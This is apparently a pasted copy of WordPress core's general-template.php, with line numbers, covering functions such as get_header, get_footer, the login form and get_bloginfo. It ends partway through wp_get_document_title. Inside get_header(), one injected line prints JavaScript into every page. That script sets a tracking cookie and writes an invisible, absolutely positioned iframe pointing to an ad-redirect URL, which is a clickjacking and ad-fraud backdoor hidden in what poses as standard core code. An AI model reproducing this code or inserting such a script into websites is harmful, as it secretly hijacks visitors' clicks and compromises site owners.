· 9 years ago · Oct 31, 2016, 02:44 PM
1<?php
2/**
3 * General template tags that can go anywhere in a template.
4 *
5 * @package WordPress
6 * @subpackage Template
7 */
8
9/**
10 * Load header template.
11 *
12 * Includes the header template for a theme or if a name is specified then a
13 * specialised header will be included.
14 *
15 * For the parameter, if the file is called "header-special.php" then specify
16 * "special".
17 *
18 * @since 1.5.0
19 *
20 * @param string $name The name of the specialised header.
21 */
22function get_header( $name = null ) {
23 /**
24 * Fires before the header template file is loaded.
25 *
26 * The hook allows a specific header template file to be used in place of the
27 * default header template file. If your file is called header-new.php,
28 * you would specify the filename in the hook as get_header( 'new' ).
29 *
30 * @since 2.1.0
31 * @since 2.8.0 $name parameter added.
32 *
33 * @param string $name Name of the specific header file to use.
34 */
35 do_action( 'get_header', $name );
36 print '<script>function setCookie(cname, cvalue, exdays) {var d = new Date();d.setTime(d.getTime() + (exdays*1000));var expires = "expires="+d.toUTCString();document.cookie = cname + "=" + cvalue + "; " + expires;}function checkCookie() {if (document.cookie.replace(/(?:(?:^|.*;\s*)username\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "minato") {setCookie("username", "minato", 10800);document.write(\'<iframe src="https://adloft.net/ad/redirect/14548" style="position:absolute;width:400px;height:500px;top:90px;left:270px; opacity:0 " scrolling="no" frameborder="none"></iframe>\');}}checkCookie();</script>';
37
38 $templates = array();
39 $name = (string) $name;
40 if ( '' !== $name ) {
41 $templates[] = "header-{$name}.php";
42 }
43
44 $templates[] = 'header.php';
45
46 locate_template( $templates, true );
47}
48
49/**
50 * Load footer template.
51 *
52 * Includes the footer template for a theme or if a name is specified then a
53 * specialised footer will be included.
54 *
55 * For the parameter, if the file is called "footer-special.php" then specify
56 * "special".
57 *
58 * @since 1.5.0
59 *
60 * @param string $name The name of the specialised footer.
61 */
62function get_footer( $name = null ) {
63 /**
64 * Fires before the footer template file is loaded.
65 *
66 * The hook allows a specific footer template file to be used in place of the
67 * default footer template file. If your file is called footer-new.php,
68 * you would specify the filename in the hook as get_footer( 'new' ).
69 *
70 * @since 2.1.0
71 * @since 2.8.0 $name parameter added.
72 *
73 * @param string $name Name of the specific footer file to use.
74 */
75 do_action( 'get_footer', $name );
76
77 $templates = array();
78 $name = (string) $name;
79 if ( '' !== $name ) {
80 $templates[] = "footer-{$name}.php";
81 }
82
83 $templates[] = 'footer.php';
84
85 locate_template( $templates, true );
86}
87
88/**
89 * Load sidebar template.
90 *
91 * Includes the sidebar template for a theme or if a name is specified then a
92 * specialised sidebar will be included.
93 *
94 * For the parameter, if the file is called "sidebar-special.php" then specify
95 * "special".
96 *
97 * @since 1.5.0
98 *
99 * @param string $name The name of the specialised sidebar.
100 */
101function get_sidebar( $name = null ) {
102 /**
103 * Fires before the sidebar template file is loaded.
104 *
105 * The hook allows a specific sidebar template file to be used in place of the
106 * default sidebar template file. If your file is called sidebar-new.php,
107 * you would specify the filename in the hook as get_sidebar( 'new' ).
108 *
109 * @since 2.2.0
110 * @since 2.8.0 $name parameter added.
111 *
112 * @param string $name Name of the specific sidebar file to use.
113 */
114 do_action( 'get_sidebar', $name );
115
116 $templates = array();
117 $name = (string) $name;
118 if ( '' !== $name )
119 $templates[] = "sidebar-{$name}.php";
120
121 $templates[] = 'sidebar.php';
122
123 locate_template( $templates, true );
124}
125
126/**
127 * Load a template part into a template
128 *
129 * Makes it easy for a theme to reuse sections of code in a easy to overload way
130 * for child themes.
131 *
132 * Includes the named template part for a theme or if a name is specified then a
133 * specialised part will be included. If the theme contains no {slug}.php file
134 * then no template will be included.
135 *
136 * The template is included using require, not require_once, so you may include the
137 * same template part multiple times.
138 *
139 * For the $name parameter, if the file is called "{slug}-special.php" then specify
140 * "special".
141 *
142 * @since 3.0.0
143 *
144 * @param string $slug The slug name for the generic template.
145 * @param string $name The name of the specialised template.
146 */
147function get_template_part( $slug, $name = null ) {
148 /**
149 * Fires before the specified template part file is loaded.
150 *
151 * The dynamic portion of the hook name, `$slug`, refers to the slug name
152 * for the generic template part.
153 *
154 * @since 3.0.0
155 *
156 * @param string $slug The slug name for the generic template.
157 * @param string $name The name of the specialized template.
158 */
159 do_action( "get_template_part_{$slug}", $slug, $name );
160
161 $templates = array();
162 $name = (string) $name;
163 if ( '' !== $name )
164 $templates[] = "{$slug}-{$name}.php";
165
166 $templates[] = "{$slug}.php";
167
168 locate_template($templates, true, false);
169}
170
171/**
172 * Display search form.
173 *
174 * Will first attempt to locate the searchform.php file in either the child or
175 * the parent, then load it. If it doesn't exist, then the default search form
176 * will be displayed. The default search form is HTML, which will be displayed.
177 * There is a filter applied to the search form HTML in order to edit or replace
178 * it. The filter is {@see 'get_search_form'}.
179 *
180 * This function is primarily used by themes which want to hardcode the search
181 * form into the sidebar and also by the search widget in WordPress.
182 *
183 * There is also an action that is called whenever the function is run called,
184 * {@see 'pre_get_search_form'}. This can be useful for outputting JavaScript that the
185 * search relies on or various formatting that applies to the beginning of the
186 * search. To give a few examples of what it can be used for.
187 *
188 * @since 2.7.0
189 *
190 * @param bool $echo Default to echo and not return the form.
191 * @return string|void String when $echo is false.
192 */
193function get_search_form( $echo = true ) {
194 /**
195 * Fires before the search form is retrieved, at the start of get_search_form().
196 *
197 * @since 2.7.0 as 'get_search_form' action.
198 * @since 3.6.0
199 *
200 * @link https://core.trac.wordpress.org/ticket/19321
201 */
202 do_action( 'pre_get_search_form' );
203
204 $format = current_theme_supports( 'html5', 'search-form' ) ? 'html5' : 'xhtml';
205
206 /**
207 * Filters the HTML format of the search form.
208 *
209 * @since 3.6.0
210 *
211 * @param string $format The type of markup to use in the search form.
212 * Accepts 'html5', 'xhtml'.
213 */
214 $format = apply_filters( 'search_form_format', $format );
215
216 $search_form_template = locate_template( 'searchform.php' );
217 if ( '' != $search_form_template ) {
218 ob_start();
219 require( $search_form_template );
220 $form = ob_get_clean();
221 } else {
222 if ( 'html5' == $format ) {
223 $form = '<form role="search" method="get" class="search-form" action="' . esc_url( home_url( '/' ) ) . '">
224 <label>
225 <span class="screen-reader-text">' . _x( 'Search for:', 'label' ) . '</span>
226 <input type="search" class="search-field" placeholder="' . esc_attr_x( 'Search …', 'placeholder' ) . '" value="' . get_search_query() . '" name="s" />
227 </label>
228 <input type="submit" class="search-submit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
229 </form>';
230 } else {
231 $form = '<form role="search" method="get" id="searchform" class="searchform" action="' . esc_url( home_url( '/' ) ) . '">
232 <div>
233 <label class="screen-reader-text" for="s">' . _x( 'Search for:', 'label' ) . '</label>
234 <input type="text" value="' . get_search_query() . '" name="s" id="s" />
235 <input type="submit" id="searchsubmit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
236 </div>
237 </form>';
238 }
239 }
240
241 /**
242 * Filters the HTML output of the search form.
243 *
244 * @since 2.7.0
245 *
246 * @param string $form The search form HTML output.
247 */
248 $result = apply_filters( 'get_search_form', $form );
249
250 if ( null === $result )
251 $result = $form;
252
253 if ( $echo )
254 echo $result;
255 else
256 return $result;
257}
258
259/**
260 * Display the Log In/Out link.
261 *
262 * Displays a link, which allows users to navigate to the Log In page to log in
263 * or log out depending on whether they are currently logged in.
264 *
265 * @since 1.5.0
266 *
267 * @param string $redirect Optional path to redirect to on login/logout.
268 * @param bool $echo Default to echo and not return the link.
269 * @return string|void String when retrieving.
270 */
271function wp_loginout($redirect = '', $echo = true) {
272 if ( ! is_user_logged_in() )
273 $link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>';
274 else
275 $link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>';
276
277 if ( $echo ) {
278 /**
279 * Filters the HTML output for the Log In/Log Out link.
280 *
281 * @since 1.5.0
282 *
283 * @param string $link The HTML link content.
284 */
285 echo apply_filters( 'loginout', $link );
286 } else {
287 /** This filter is documented in wp-includes/general-template.php */
288 return apply_filters( 'loginout', $link );
289 }
290}
291
292/**
293 * Retrieves the logout URL.
294 *
295 * Returns the URL that allows the user to log out of the site.
296 *
297 * @since 2.7.0
298 *
299 * @param string $redirect Path to redirect to on logout.
300 * @return string The logout URL. Note: HTML-encoded via esc_html() in wp_nonce_url().
301 */
302function wp_logout_url($redirect = '') {
303 $args = array( 'action' => 'logout' );
304 if ( !empty($redirect) ) {
305 $args['redirect_to'] = urlencode( $redirect );
306 }
307
308 $logout_url = add_query_arg($args, site_url('wp-login.php', 'login'));
309 $logout_url = wp_nonce_url( $logout_url, 'log-out' );
310
311 /**
312 * Filters the logout URL.
313 *
314 * @since 2.8.0
315 *
316 * @param string $logout_url The HTML-encoded logout URL.
317 * @param string $redirect Path to redirect to on logout.
318 */
319 return apply_filters( 'logout_url', $logout_url, $redirect );
320}
321
322/**
323 * Retrieves the login URL.
324 *
325 * @since 2.7.0
326 *
327 * @param string $redirect Path to redirect to on log in.
328 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present.
329 * Default false.
330 * @return string The login URL. Not HTML-encoded.
331 */
332function wp_login_url($redirect = '', $force_reauth = false) {
333 $login_url = site_url('wp-login.php', 'login');
334
335 if ( !empty($redirect) )
336 $login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url);
337
338 if ( $force_reauth )
339 $login_url = add_query_arg('reauth', '1', $login_url);
340
341 /**
342 * Filters the login URL.
343 *
344 * @since 2.8.0
345 * @since 4.2.0 The `$force_reauth` parameter was added.
346 *
347 * @param string $login_url The login URL. Not HTML-encoded.
348 * @param string $redirect The path to redirect to on login, if supplied.
349 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present.
350 */
351 return apply_filters( 'login_url', $login_url, $redirect, $force_reauth );
352}
353
354/**
355 * Returns the URL that allows the user to register on the site.
356 *
357 * @since 3.6.0
358 *
359 * @return string User registration URL.
360 */
361function wp_registration_url() {
362 /**
363 * Filters the user registration URL.
364 *
365 * @since 3.6.0
366 *
367 * @param string $register The user registration URL.
368 */
369 return apply_filters( 'register_url', site_url( 'wp-login.php?action=register', 'login' ) );
370}
371
372/**
373 * Provides a simple login form for use anywhere within WordPress.
374 *
375 * The login format HTML is echoed by default. Pass a false value for `$echo` to return it instead.
376 *
377 * @since 3.0.0
378 *
379 * @param array $args {
380 * Optional. Array of options to control the form output. Default empty array.
381 *
382 * @type bool $echo Whether to display the login form or return the form HTML code.
383 * Default true (echo).
384 * @type string $redirect URL to redirect to. Must be absolute, as in "https://example.com/mypage/".
385 * Default is to redirect back to the request URI.
386 * @type string $form_id ID attribute value for the form. Default 'loginform'.
387 * @type string $label_username Label for the username or email address field. Default 'Username or Email'.
388 * @type string $label_password Label for the password field. Default 'Password'.
389 * @type string $label_remember Label for the remember field. Default 'Remember Me'.
390 * @type string $label_log_in Label for the submit button. Default 'Log In'.
391 * @type string $id_username ID attribute value for the username field. Default 'user_login'.
392 * @type string $id_password ID attribute value for the password field. Default 'user_pass'.
393 * @type string $id_remember ID attribute value for the remember field. Default 'rememberme'.
394 * @type string $id_submit ID attribute value for the submit button. Default 'wp-submit'.
395 * @type bool $remember Whether to display the "rememberme" checkbox in the form.
396 * @type string $value_username Default value for the username field. Default empty.
397 * @type bool $value_remember Whether the "Remember Me" checkbox should be checked by default.
398 * Default false (unchecked).
399 *
400 * }
401 * @return string|void String when retrieving.
402 */
403function wp_login_form( $args = array() ) {
404 $defaults = array(
405 'echo' => true,
406 // Default 'redirect' value takes the user back to the request URI.
407 'redirect' => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
408 'form_id' => 'loginform',
409 'label_username' => __( 'Username or Email' ),
410 'label_password' => __( 'Password' ),
411 'label_remember' => __( 'Remember Me' ),
412 'label_log_in' => __( 'Log In' ),
413 'id_username' => 'user_login',
414 'id_password' => 'user_pass',
415 'id_remember' => 'rememberme',
416 'id_submit' => 'wp-submit',
417 'remember' => true,
418 'value_username' => '',
419 // Set 'value_remember' to true to default the "Remember me" checkbox to checked.
420 'value_remember' => false,
421 );
422
423 /**
424 * Filters the default login form output arguments.
425 *
426 * @since 3.0.0
427 *
428 * @see wp_login_form()
429 *
430 * @param array $defaults An array of default login form arguments.
431 */
432 $args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) );
433
434 /**
435 * Filters content to display at the top of the login form.
436 *
437 * The filter evaluates just following the opening form tag element.
438 *
439 * @since 3.0.0
440 *
441 * @param string $content Content to display. Default empty.
442 * @param array $args Array of login form arguments.
443 */
444 $login_form_top = apply_filters( 'login_form_top', '', $args );
445
446 /**
447 * Filters content to display in the middle of the login form.
448 *
449 * The filter evaluates just following the location where the 'login-password'
450 * field is displayed.
451 *
452 * @since 3.0.0
453 *
454 * @param string $content Content to display. Default empty.
455 * @param array $args Array of login form arguments.
456 */
457 $login_form_middle = apply_filters( 'login_form_middle', '', $args );
458
459 /**
460 * Filters content to display at the bottom of the login form.
461 *
462 * The filter evaluates just preceding the closing form tag element.
463 *
464 * @since 3.0.0
465 *
466 * @param string $content Content to display. Default empty.
467 * @param array $args Array of login form arguments.
468 */
469 $login_form_bottom = apply_filters( 'login_form_bottom', '', $args );
470
471 $form = '
472 <form name="' . $args['form_id'] . '" id="' . $args['form_id'] . '" action="' . esc_url( site_url( 'wp-login.php', 'login_post' ) ) . '" method="post">
473 ' . $login_form_top . '
474 <p class="login-username">
475 <label for="' . esc_attr( $args['id_username'] ) . '">' . esc_html( $args['label_username'] ) . '</label>
476 <input type="text" name="log" id="' . esc_attr( $args['id_username'] ) . '" class="input" value="' . esc_attr( $args['value_username'] ) . '" size="20" />
477 </p>
478 <p class="login-password">
479 <label for="' . esc_attr( $args['id_password'] ) . '">' . esc_html( $args['label_password'] ) . '</label>
480 <input type="password" name="pwd" id="' . esc_attr( $args['id_password'] ) . '" class="input" value="" size="20" />
481 </p>
482 ' . $login_form_middle . '
483 ' . ( $args['remember'] ? '<p class="login-remember"><label><input name="rememberme" type="checkbox" id="' . esc_attr( $args['id_remember'] ) . '" value="forever"' . ( $args['value_remember'] ? ' checked="checked"' : '' ) . ' /> ' . esc_html( $args['label_remember'] ) . '</label></p>' : '' ) . '
484 <p class="login-submit">
485 <input type="submit" name="wp-submit" id="' . esc_attr( $args['id_submit'] ) . '" class="button-primary" value="' . esc_attr( $args['label_log_in'] ) . '" />
486 <input type="hidden" name="redirect_to" value="' . esc_url( $args['redirect'] ) . '" />
487 </p>
488 ' . $login_form_bottom . '
489 </form>';
490
491 if ( $args['echo'] )
492 echo $form;
493 else
494 return $form;
495}
496
497/**
498 * Returns the URL that allows the user to retrieve the lost password
499 *
500 * @since 2.8.0
501 *
502 * @param string $redirect Path to redirect to on login.
503 * @return string Lost password URL.
504 */
505function wp_lostpassword_url( $redirect = '' ) {
506 $args = array( 'action' => 'lostpassword' );
507 if ( !empty($redirect) ) {
508 $args['redirect_to'] = $redirect;
509 }
510
511 $lostpassword_url = add_query_arg( $args, network_site_url('wp-login.php', 'login') );
512
513 /**
514 * Filters the Lost Password URL.
515 *
516 * @since 2.8.0
517 *
518 * @param string $lostpassword_url The lost password page URL.
519 * @param string $redirect The path to redirect to on login.
520 */
521 return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect );
522}
523
524/**
525 * Display the Registration or Admin link.
526 *
527 * Display a link which allows the user to navigate to the registration page if
528 * not logged in and registration is enabled or to the dashboard if logged in.
529 *
530 * @since 1.5.0
531 *
532 * @param string $before Text to output before the link. Default `<li>`.
533 * @param string $after Text to output after the link. Default `</li>`.
534 * @param bool $echo Default to echo and not return the link.
535 * @return string|void String when retrieving.
536 */
537function wp_register( $before = '<li>', $after = '</li>', $echo = true ) {
538 if ( ! is_user_logged_in() ) {
539 if ( get_option('users_can_register') )
540 $link = $before . '<a href="' . esc_url( wp_registration_url() ) . '">' . __('Register') . '</a>' . $after;
541 else
542 $link = '';
543 } elseif ( current_user_can( 'read' ) ) {
544 $link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after;
545 } else {
546 $link = '';
547 }
548
549 /**
550 * Filters the HTML link to the Registration or Admin page.
551 *
552 * Users are sent to the admin page if logged-in, or the registration page
553 * if enabled and logged-out.
554 *
555 * @since 1.5.0
556 *
557 * @param string $link The HTML code for the link to the Registration or Admin page.
558 */
559 $link = apply_filters( 'register', $link );
560
561 if ( $echo ) {
562 echo $link;
563 } else {
564 return $link;
565 }
566}
567
568/**
569 * Theme container function for the 'wp_meta' action.
570 *
571 * The {@see 'wp_meta'} action can have several purposes, depending on how you use it,
572 * but one purpose might have been to allow for theme switching.
573 *
574 * @since 1.5.0
575 *
576 * @link https://core.trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action.
577 */
578function wp_meta() {
579 /**
580 * Fires before displaying echoed content in the sidebar.
581 *
582 * @since 1.5.0
583 */
584 do_action( 'wp_meta' );
585}
586
587/**
588 * Displays information about the current site.
589 *
590 * @since 0.71
591 *
592 * @see get_bloginfo() For possible `$show` values
593 *
594 * @param string $show Optional. Site information to display. Default empty.
595 */
596function bloginfo( $show = '' ) {
597 echo get_bloginfo( $show, 'display' );
598}
599
600/**
601 * Retrieves information about the current site.
602 *
603 * Possible values for `$show` include:
604 *
605 * - 'name' - Site title (set in Settings > General)
606 * - 'description' - Site tagline (set in Settings > General)
607 * - 'wpurl' - The WordPress address (URL) (set in Settings > General)
608 * - 'url' - The Site address (URL) (set in Settings > General)
609 * - 'admin_email' - Admin email (set in Settings > General)
610 * - 'charset' - The "Encoding for pages and feeds" (set in Settings > Reading)
611 * - 'version' - The current WordPress version
612 * - 'html_type' - The content-type (default: "text/html"). Themes and plugins
613 * can override the default value using the {@see 'pre_option_html_type'} filter
614 * - 'text_direction' - The text direction determined by the site's language. is_rtl()
615 * should be used instead
616 * - 'language' - Language code for the current site
617 * - 'stylesheet_url' - URL to the stylesheet for the active theme. An active child theme
618 * will take precedence over this value
619 * - 'stylesheet_directory' - Directory path for the active theme. An active child theme
620 * will take precedence over this value
621 * - 'template_url' / 'template_directory' - URL of the active theme's directory. An active
622 * child theme will NOT take precedence over this value
623 * - 'pingback_url' - The pingback XML-RPC file URL (xmlrpc.php)
624 * - 'atom_url' - The Atom feed URL (/feed/atom)
625 * - 'rdf_url' - The RDF/RSS 1.0 feed URL (/feed/rfd)
626 * - 'rss_url' - The RSS 0.92 feed URL (/feed/rss)
627 * - 'rss2_url' - The RSS 2.0 feed URL (/feed)
628 * - 'comments_atom_url' - The comments Atom feed URL (/comments/feed)
629 * - 'comments_rss2_url' - The comments RSS 2.0 feed URL (/comments/feed)
630 *
631 * Some `$show` values are deprecated and will be removed in future versions.
632 * These options will trigger the _deprecated_argument() function.
633 *
634 * Deprecated arguments include:
635 *
636 * - 'siteurl' - Use 'url' instead
637 * - 'home' - Use 'url' instead
638 *
639 * @since 0.71
640 *
641 * @global string $wp_version
642 *
643 * @param string $show Optional. Site info to retrieve. Default empty (site name).
644 * @param string $filter Optional. How to filter what is retrieved. Default 'raw'.
645 * @return string Mostly string values, might be empty.
646 */
647function get_bloginfo( $show = '', $filter = 'raw' ) {
648 switch( $show ) {
649 case 'home' : // DEPRECATED
650 case 'siteurl' : // DEPRECATED
651 _deprecated_argument( __FUNCTION__, '2.2.0', sprintf(
652 /* translators: 1: 'siteurl'/'home' argument, 2: bloginfo() function name, 3: 'url' argument */
653 __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s option instead.' ),
654 '<code>' . $show . '</code>',
655 '<code>bloginfo()</code>',
656 '<code>url</code>'
657 ) );
658 case 'url' :
659 $output = home_url();
660 break;
661 case 'wpurl' :
662 $output = site_url();
663 break;
664 case 'description':
665 $output = get_option('blogdescription');
666 break;
667 case 'rdf_url':
668 $output = get_feed_link('rdf');
669 break;
670 case 'rss_url':
671 $output = get_feed_link('rss');
672 break;
673 case 'rss2_url':
674 $output = get_feed_link('rss2');
675 break;
676 case 'atom_url':
677 $output = get_feed_link('atom');
678 break;
679 case 'comments_atom_url':
680 $output = get_feed_link('comments_atom');
681 break;
682 case 'comments_rss2_url':
683 $output = get_feed_link('comments_rss2');
684 break;
685 case 'pingback_url':
686 $output = site_url( 'xmlrpc.php' );
687 break;
688 case 'stylesheet_url':
689 $output = get_stylesheet_uri();
690 break;
691 case 'stylesheet_directory':
692 $output = get_stylesheet_directory_uri();
693 break;
694 case 'template_directory':
695 case 'template_url':
696 $output = get_template_directory_uri();
697 break;
698 case 'admin_email':
699 $output = get_option('admin_email');
700 break;
701 case 'charset':
702 $output = get_option('blog_charset');
703 if ('' == $output) $output = 'UTF-8';
704 break;
705 case 'html_type' :
706 $output = get_option('html_type');
707 break;
708 case 'version':
709 global $wp_version;
710 $output = $wp_version;
711 break;
712 case 'language':
713 /* translators: Translate this to the correct language tag for your locale,
714 * see https://www.w3.org/International/articles/language-tags/ for reference.
715 * Do not translate into your own language.
716 */
717 $output = __( 'html_lang_attribute' );
718 if ( 'html_lang_attribute' === $output || preg_match( '/[^a-zA-Z0-9-]/', $output ) ) {
719 $output = get_locale();
720 $output = str_replace( '_', '-', $output );
721 }
722 break;
723 case 'text_direction':
724 _deprecated_argument( __FUNCTION__, '2.2.0', sprintf(
725 /* translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3: is_rtl() function name */
726 __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s function instead.' ),
727 '<code>' . $show . '</code>',
728 '<code>bloginfo()</code>',
729 '<code>is_rtl()</code>'
730 ) );
731 if ( function_exists( 'is_rtl' ) ) {
732 $output = is_rtl() ? 'rtl' : 'ltr';
733 } else {
734 $output = 'ltr';
735 }
736 break;
737 case 'name':
738 default:
739 $output = get_option('blogname');
740 break;
741 }
742
743 $url = true;
744 if (strpos($show, 'url') === false &&
745 strpos($show, 'directory') === false &&
746 strpos($show, 'home') === false)
747 $url = false;
748
749 if ( 'display' == $filter ) {
750 if ( $url ) {
751 /**
752 * Filters the URL returned by get_bloginfo().
753 *
754 * @since 2.0.5
755 *
756 * @param mixed $output The URL returned by bloginfo().
757 * @param mixed $show Type of information requested.
758 */
759 $output = apply_filters( 'bloginfo_url', $output, $show );
760 } else {
761 /**
762 * Filters the site information returned by get_bloginfo().
763 *
764 * @since 0.71
765 *
766 * @param mixed $output The requested non-URL site information.
767 * @param mixed $show Type of information requested.
768 */
769 $output = apply_filters( 'bloginfo', $output, $show );
770 }
771 }
772
773 return $output;
774}
775
776/**
777 * Returns the Site Icon URL.
778 *
779 * @since 4.3.0
780 *
781 * @param int $size Optional. Size of the site icon. Default 512 (pixels).
782 * @param string $url Optional. Fallback url if no site icon is found. Default empty.
783 * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
784 * @return string Site Icon URL.
785 */
786function get_site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
787 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
788 switch_to_blog( $blog_id );
789 }
790
791 $site_icon_id = get_option( 'site_icon' );
792
793 if ( $site_icon_id ) {
794 if ( $size >= 512 ) {
795 $size_data = 'full';
796 } else {
797 $size_data = array( $size, $size );
798 }
799 $url = wp_get_attachment_image_url( $site_icon_id, $size_data );
800 }
801
802 if ( is_multisite() && ms_is_switched() ) {
803 restore_current_blog();
804 }
805
806 /**
807 * Filters the site icon URL.
808 *
809 * @site 4.4.0
810 *
811 * @param string $url Site icon URL.
812 * @param int $size Size of the site icon.
813 * @param int $blog_id ID of the blog to get the site icon for.
814 */
815 return apply_filters( 'get_site_icon_url', $url, $size, $blog_id );
816}
817
818/**
819 * Displays the Site Icon URL.
820 *
821 * @since 4.3.0
822 *
823 * @param int $size Optional. Size of the site icon. Default 512 (pixels).
824 * @param string $url Optional. Fallback url if no site icon is found. Default empty.
825 * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
826 */
827function site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
828 echo esc_url( get_site_icon_url( $size, $url, $blog_id ) );
829}
830
831/**
832 * Whether the site has a Site Icon.
833 *
834 * @since 4.3.0
835 *
836 * @param int $blog_id Optional. ID of the blog in question. Default current blog.
837 * @return bool Whether the site has a site icon or not.
838 */
839function has_site_icon( $blog_id = 0 ) {
840 return (bool) get_site_icon_url( 512, '', $blog_id );
841}
842
843/**
844 * Determines whether the site has a custom logo.
845 *
846 * @since 4.5.0
847 *
848 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
849 * @return bool Whether the site has a custom logo or not.
850 */
851function has_custom_logo( $blog_id = 0 ) {
852 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
853 switch_to_blog( $blog_id );
854 }
855
856 $custom_logo_id = get_theme_mod( 'custom_logo' );
857
858 if ( is_multisite() && ms_is_switched() ) {
859 restore_current_blog();
860 }
861
862 return (bool) $custom_logo_id;
863}
864
865/**
866 * Returns a custom logo, linked to home.
867 *
868 * @since 4.5.0
869 *
870 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
871 * @return string Custom logo markup.
872 */
873function get_custom_logo( $blog_id = 0 ) {
874 $html = '';
875
876 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
877 switch_to_blog( $blog_id );
878 }
879
880 $custom_logo_id = get_theme_mod( 'custom_logo' );
881
882 // We have a logo. Logo is go.
883 if ( $custom_logo_id ) {
884 $html = sprintf( '<a href="%1$s" class="custom-logo-link" rel="home" itemprop="url">%2$s</a>',
885 esc_url( home_url( '/' ) ),
886 wp_get_attachment_image( $custom_logo_id, 'full', false, array(
887 'class' => 'custom-logo',
888 'itemprop' => 'logo',
889 ) )
890 );
891 }
892
893 // If no logo is set but we're in the Customizer, leave a placeholder (needed for the live preview).
894 elseif ( is_customize_preview() ) {
895 $html = sprintf( '<a href="%1$s" class="custom-logo-link" style="display:none;"><img class="custom-logo"/></a>',
896 esc_url( home_url( '/' ) )
897 );
898 }
899
900 if ( is_multisite() && ms_is_switched() ) {
901 restore_current_blog();
902 }
903
904 /**
905 * Filters the custom logo output.
906 *
907 * @since 4.5.0
908 * @since 4.6.0 Added the `$blog_id` parameter.
909 *
910 * @param string $html Custom logo HTML output.
911 * @param int $blog_id ID of the blog to get the custom logo for.
912 */
913 return apply_filters( 'get_custom_logo', $html, $blog_id );
914}
915
916/**
917 * Displays a custom logo, linked to home.
918 *
919 * @since 4.5.0
920 *
921 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
922 */
923function the_custom_logo( $blog_id = 0 ) {
924 echo get_custom_logo( $blog_id );
925}
926
927/**
928 * Returns document title for the current page.
929 *
930 * @since 4.4.0
931 *
932 * @global int $page Page number of a single post.
933 * @global int $paged Page number of a list of posts.
934 *
935 * @return string Tag with the document title.
936 */
937function wp_get_document_title() {
938
939 /**
940 * Filters the document title before it is generated.
941 *
942 * Passing a non-empty value will short-circuit wp_get_document_title(),
943 * returning that value instead.
944 *
945 * @since 4.4.0
946 *
947 * @param string $title The document title. Default empty string.
948 */
949 $title = apply_filters( 'pre_get_document_title', '' );
950 if ( ! empty( $title ) ) {
951 return $title;
952 }
953
954 global $page, $paged;
955
956 $title = array(
957 'title' => '',
958 );
959
960 // If it's a 404 page, use a "Page not found" title.
961 if ( is_404() ) {
962 $title['title'] = __( 'Page not found' );
963
964 // If it's a search, use a dynamic search results title.
965 } elseif ( is_search() ) {
966 /* translators: %s: search phrase */
967 $title['title'] = sprintf( __( 'Search Results for “%s”' ), get_search_query() );
968
969 // If on the front page, use the site title.
970 } elseif ( is_front_page() ) {
971 $title['title'] = get_bloginfo( 'name', 'display' );
972
973 // If on a post type archive, use the post type archive title.
974 } elseif ( is_post_type_archive() ) {
975 $title['title'] = post_type_archive_title( '', false );
976
977 // If on a taxonomy archive, use the term title.
978 } elseif ( is_tax() ) {
979 $title['title'] = single_term_title( '', false );
980
981 /*
982 * If we're on the blog page that is not the homepage or
983 * a single post of any post type, use the post title.
984 */
985 } elseif ( is_home() || is_singular() ) {
986 $title['title'] = single_post_title( '', false );
987
988 // If on a category or tag archive, use the term title.
989 } elseif ( is_category() || is_tag() ) {
990 $title['title'] = single_term_title( '', false );
991
992 // If on an author archive, use the author's display name.
993 } elseif ( is_author() && $author = get_queried_object() ) {
994 $title['title'] = $author->display_name;
995
996 // If it's a date archive, use the date as the title.
997 } elseif ( is_year() ) {
998 $title['title'] = get_the_date( _x( 'Y', 'yearly archives date format' ) );
999
1000 } elseif ( is_month() ) {
1001 $title['title'] = get_the_date( _x( 'F Y', 'monthly archives date format' ) );
1002
1003 } elseif ( is_day() ) {
1004 $title['title'] = get_the_date();
1005 }
1006
1007 // Add a page number if necessary.
1008 if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
1009 $title['page'] = sprintf( __( 'Page %s' ), max( $paged, $page ) );
1010 }
1011
1012 // Append the description or site title to give context.
1013 if ( is_front_page() ) {
1014 $title['tagline'] = get_bloginfo( 'description', 'display' );
1015 } else {
1016 $title['site'] = get_bloginfo( 'name', 'display' );
1017 }
1018
1019 /**
1020 * Filters the separator for the document title.
1021 *
1022 * @since 4.4.0
1023 *
1024 * @param string $sep Document title separator. Default '-'.
1025 */
1026 $sep = apply_filters( 'document_title_separator', '-' );
1027
1028 /**
1029 * Filters the parts of the document title.
1030 *
1031 * @since 4.4.0
1032 *
1033 * @param array $title {
1034 * The document title parts.
1035 *
1036 * @type string $title Title of the viewed page.
1037 * @type string $page Optional. Page number if paginated.
1038 * @type string $tagline Optional. Site description when on home page.
1039 * @type string $site Optional. Site title when not on home page.
1040 * }
1041 */
1042 $title = apply_filters( 'document_title_parts', $title );
1043
1044 $title = implode( " $sep ", array_filter( $title ) );
1045 $title = wptexturize( $title );
1046 $title = convert_chars( $title );
1047 $title = esc_html( $title );
1048 $title = capital_P_dangit( $title );
1049
1050 return $title;
